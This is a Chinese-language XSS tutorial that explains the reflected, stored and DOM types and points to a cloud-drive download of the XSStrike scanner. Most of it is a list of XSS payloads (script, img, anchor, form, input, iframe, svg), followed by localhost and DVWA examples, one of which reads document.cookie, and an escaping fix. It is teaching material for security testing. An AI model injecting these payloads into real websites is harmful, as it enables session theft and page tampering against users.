XSS-跨站脚本攻击,依靠一切可能的手段,将浏览器中可以执行的JS代码植入到Web界面中去,从而对客户产生攻击,该漏洞经常出现在需要用户输入的地方,这些地方一旦对输入的内容不进行处理,攻击者就可以进行HTML注入,进而篡改网页。
反射型XSS: 非持久化,一般需要用户手动点进去攻击者伪造好的连接才能触发代码。
存储型XSS:持久性,攻击者的XSS语句存储在服务数据库,当有受害者访问这个网页都会触发代码,一般在留言板,评论区页面经常出现。
DOM型XSS:DOM型xss与上面两种最大的区别就是,dom型xss漏洞是基于文档对象模型(Document Objeet Model,DOM)的,它不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的。
一、下载安装
通过网盘分享的文件:XSStrike-master.zip
链接: https://pan.baidu.com/s/11wM2ONtO2FTyenI2eIvo-A 提取码: n6hx
二、相关参数
三、常用payload
<?php
echo "<script>alert(1)</script>";
?>
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss')>
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
<svg onload=alert(1)>
其他
四、简单示例
1、反射型
http://localhost/test/test.php?name=<script>alert(123)</script>
解决
<?php
$xss = $_GET['name'];
echo htmlspecialchars($xss);
2、存储型
python xsstrike.py --url="http://localhost/test/test-1.php" --data="msg=123"
3、dom型
http://localhost/DVWA-master/vulnerabilities/xss_d/?default=Spanish<script>alert(document.cookie)</script>